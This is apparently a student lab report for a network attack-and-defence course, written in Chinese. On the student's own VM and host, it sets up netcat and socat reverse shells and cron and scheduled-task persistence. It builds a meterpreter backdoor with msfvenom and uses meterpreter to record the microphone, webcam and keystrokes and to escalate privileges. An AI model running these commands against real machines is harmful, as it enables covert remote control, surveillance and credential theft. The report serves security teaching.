20222315 2024-2025-1 《网络与系统攻防技术》实验二实验报告

news/2024/10/21 23:17:08

1.实验内容

1.使用netcat进行虚拟机和主机的连接,cron启动周期性定时任务。
2.使用socat让虚拟机操作主机, 并调用提前准备的程序,启动任务计划。
3.使用MSF meterpreter(或其他软件)生成后门程序,利用ncat传送到主机让主机运行后门程序,虚拟机获取主机shell。
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
5.使用MSF生成shellcode,注入到实践1中的pwn2中,获取反弹连接Shell。

2.实验过程

1.使用netcat获取主机操作Shell,cron启动某项任务
(1)查看主机的ip
Win+R后输入cmd进入命令行界面后输入ipconfig

(2)使用netcat进行连接并获取shell
下载nacat(之前信息安全概论课程中已经下载过)。
打开虚拟机进入终端,使用root权限,同时主机命令行界面进入ncat所在的目录。
在win命令行界面输入命令:ncat.exe -l -p 8888(l表示listen;p表示port)
虚机终端输入指令:nc 192.168.3.7 8402 -e /bin/sh(nc即netcat,后面的参数是要连接的ip和port,-e是指定连接后运行的程序,本例中就是shell。)

win命令行输入ls,正常显示虚拟机下文件名,证明主机已成功获取虚拟机shell。
(3)通过设置cron使得kali启动定时任务。
cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程。
在虚拟机的root账户中,输入crontab -e (执行文字编辑器来设定时程表),选择的是2:/usr/bin/vim.basic;

输入后进入文字编辑器,输入指令23 * * * * /bin/netcat 192.168.3.160 8888 -e /bin/sh (输入自己主机的IP地址,在每小时的第23分钟启动任务)编辑好后退出文字编辑器,输入crontab -l查看时程表:

同时在Linux主机中的/var/spool/cron/crontabs文件中会出现一个root文件。

现在回到Windows命令行进行操作,切换到root模式,输入:
echo "* * * * * echo "20222315" > /home/liuxinyu20222315/2315.txt" > /var/spool/cron/crontabs/root(每分钟定时执行一次,用“20222315”覆盖文件2315.txt)
crontab -l (检查时程表)

进入Linux虚拟机进入对应路径检查2315.txt文件,发现修改成功。

2.使用socat获取主机操作Shell,任务计划启动
Socat与netcat类似,但比起netcat,socat功能更多,比如如建立ssl连接。
windows主机:下载socat,cmd进入socat文件夹,输入命令:
socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr(把cmd.exe绑定到端口8888,并把cmd.exe的stderr重定向到stdout)
Linux虚拟机:进入root用户,输入命令:
socat - tcp:192.168.3.160:8888

回到主机,我们需要事先准备一个程序以供运行,文件名为lxy.c,.exe文件位于bin/debug中

在Linux上启用Windows的程序,通过命令行创建任务计划,在shell里输入命令:
schtasks /create /sc minute /mo 1 /tn "20222315lxy" /tr D:\program_code\bin\debug\lxy_2.exe(每一分钟执行一次这个程序):

回到windows主机,打开计算机管理,成功看到正在运行的任务名“20222315lxy”。

3.在Linux下使用MSF meterpreter生成可执行文件,利用ncat或socat传送到Windows主机并运行获取主机shell
保证windows的实时保护处于关闭状态,同时关闭防火墙和杀毒软件进行实验。
(1)生成后门文件
首先在kali终端中输入ifconfig,获得虚拟机的IP地址:

虚拟机的IP地址是192.168.3.176
继续中输入以下命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.176 LPORT=8888 -f exe > 2315backdoor.exe(使用msfvenom 工具生成一个反向 TCP Meterpreter shell 的 payload,并将其保存到一个可执行文件中。)
LHOST=192.168.3.176是shell 连接的主机 IP 地址,即虚拟机的IP地址;
LPORT=8888是攻击者的系统上监听的端口号;
-f exe指定了生成的 payload 的格式,这里是exe;
2315backdoor.exe即生成的恶意可执行文件

(2)将后门文件传输至目标主机(这一步其实也能用共享文件夹实现)
主机进入ncat所在目录下,输入指令:
ncat.exe -lv 8888 > "C:\Users\86132\Desktop\2315backdoor.exe"(监听8888窗口等待接收可执行文件2315backdoor.exe,并将2315backdoor.exe文件存放在桌面上)

虚拟机上输入指令:
nc 192.168.3.176 8888 < 2315backdoor.exe(将生成的后门文件2315backdoor.exe传给主机)。此时如果没有关闭防火墙或杀毒软件就会立即删除该后门程序。
生成的后门程序信息见下图

(3)配置监听模块
回到虚拟机,在Kali终端输入命令msfconsole,然后对监听模块进行配置:
use exploit/multi/handler(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp (使用和生成后门程序时相同的payload)
set LHOST 172.20.10.2 (攻击机的IP地址,和生成后门程序时指定的IP相同)(另此时电脑转移位置,ip地址发生改变)

set LPORT 8888(监听的端口)
接着输入exploit,使监听模块开始运行,并在Windows终端运行后门2315backdoor.exe文件

返回检查虚拟机,输入ls查看windows主机目录,确认已经连接。

4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(1)获取目标主机音频、截屏、摄像头、键盘记录
在exploit模块中继续输入以下命令:
record_mic   (音频)
screenshot   (截屏)
webcam_snap (拍照)//本人电脑提前禁用了该权限
keyscan_start (开始读取键盘记录)
keyscan_dump (读取键盘记录结束)

刚刚的操作信息已经存取到虚拟机中

(2)提权
确保windows的cmd指令是使用管理员身份运行的,继续在exploit模块中继续输入:
getuid (查看当前用户)
getsystem (提权指令)

5.使用MSF生成shellcode,注入到实验1中的pwn2中,获取反弹连接Shell
在kali命令行下输入:
Msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.20.10.2
LPORT=8888-x /home/liuxinyu20222315/Desktop/pwn2 -f elf > 2315_pwn
(使用了msfvenom 工具生成一个 Meterpreter 反向 TCP shell的 payload,并将其注入到指定的可执行文件中,然后将结果输出到一个名为 2315_pwn的文件中。)

-p linux/x86/meterpreter/reverse_tcp:指定要生成的 payload 类型。
LHOST=192.168.3.174:目标主机 IP 地址为 192.168.3.174,这里即虚拟机IP地址。
LPORT=8888:设置 Meterpreter shell 使用的本地端口号为 8888。
-x /home/kali/Desktop/pwn2:指定一个可执行文件作为模板,生成的 payload 将会注入到该文件中。
-f elf:指定输出文件的格式为 ELF 格式,适用于 Linux 系统的可执行文件格式。
使用chmod对生成的2315_pwn文件赋权,输入指令msfconsole,重现监听过程:

打开另一个shell,运行生成的2315_pwn文件

回到第一个shell,输入getuid确认第二个Shell的用户名,成功实现远程控制shell

实验问题及解决方案

问题1:用win主机连接虚拟机后,ls命令没有显示任何文件
解决方案: 用cd命令切换到对应目录,ls成功列出文件。
问题2:生成后门文件后,退出连接,后门文件立即被删除
解决方案:将杀毒软件关掉后,后门程序可以保存。

实验体会

经过此次实验,我了解到虚拟机和主机可以互相连接,在实验过程中,我对ncat、socat等软件也有了基本的了解,同时也为通过后门程序可以直接控制我主机的各个系统和程序感到十分惊讶,这也激发了我对这门课程的学习兴趣。
更重要的是,在此次实验中,我深刻地感受到网络安全的重要性,通过后门程序可以直接控制主机,让我对网络上的不明链接和不安全网站加强了警惕性,同时也提醒自己不要随便使用捡来的u盘,这次实验让我收益良多。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/72384.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

Obsidian之模板的简单使用

前言:在使用Obsidian时经常对每次新建的文件输入相同的内容是否有更好的解决方法呢,以下是我使用Obsidian模板的一些经验总结用到的插件Templater quickadd banner在开始前确保已经安装了以上的插件 首先简单的介绍下Templater的功能自定义指定文件夹的新建文件的模板 配合qu…

基于.NET8 + Vue/UniApp前后端分离的快速开发框架,开箱即用!

前言 今天大姚给大家分享一款基于.NET8 + Vue/UniApp前后端分离的快速开发框架,开箱即用:ZR.Admin.NET。开源免费(基于MIT License开源协议)、代码量少、学习简单、通俗易懂、功能强大、易扩展、轻量级,让 web 开发更快速、简单高效(从此告别 996),解决 70%的重复工作,…

Mininet问题合集

我的环境:Ubuntu 22.04.5 LTS liu@liu-Ubuntu-Desktop:~/桌面$ ovs-vsctl -V ovs-vsctl (Open vSwitch) 2.17.9 DB Schema 8.3.0liu@liu-Ubuntu-Desktop:~/桌面$ mn --version 2.3.0liu@liu-Ubuntu-Desktop:~/桌面$ python3 Python 3.10.12 (main, Sep 11 2024, 15:47:36) [GC…

计算机网络——第一章

@目录1.计算机网络在信息时代中的作用2.互联网概述2.1网络的网络2.2互联网发展的三个阶段3.互联网的组成3.1互联网的边缘部分3.2互联网的核心部分4.计算机网络的性能指标5.计算机网络体系结构5.1计算机网络的五层体系结构5.2 TCP/IP协议族6.本章重点概念 本文首先介绍计算机网络…

计算机基础(cpu,内存,硬盘)

计算机基础(cpu,内存,硬盘) 内存:负责硬盘等硬件上的数据与CPU之间数据交换处理; 缓存系统中的临时数据。 断电后数据丢失。硬盘: ​ 存储资料和软件等数据的设备,有容量大,断电数据不丢失的特点。 流程 ​ 简单来说,硬盘用来存储程序和数据,当运行程序时,CPU首先接…

Java中网络编程的学习

Java 网络编程学习总结 本章目标了解计算机网络基础知识 了解 OSI 七层参考模型 熟悉 TCP/IP 协议 熟悉常见网络协议 掌握 socket 套接字编程计算机网络 什么是计算机网络 计算机网络是通过传输介质、通信设施和网络通信协议,把分散在不同地点的计算机设备互连起来,实现资源共…

高等数学 5.5 反常积分的审敛法 Γ函数

目录一、无穷限反常积分的审敛法二、无界函数的反常积分审敛法三、\(\Gamma\) 函数 一、无穷限反常积分的审敛法 定理1 设函数 \(f(x)\) 在区间 \([a, +\infty)\) 上连续,且 \(f(x) \geqslant 0\).若函数 \[F(x) = \int_a^x f(t) \mathrm{d}t \]在 \([a, +\infty)\) 上有上界,…

allergo导出位号图

1 选择ADB看一下 2 file export pdf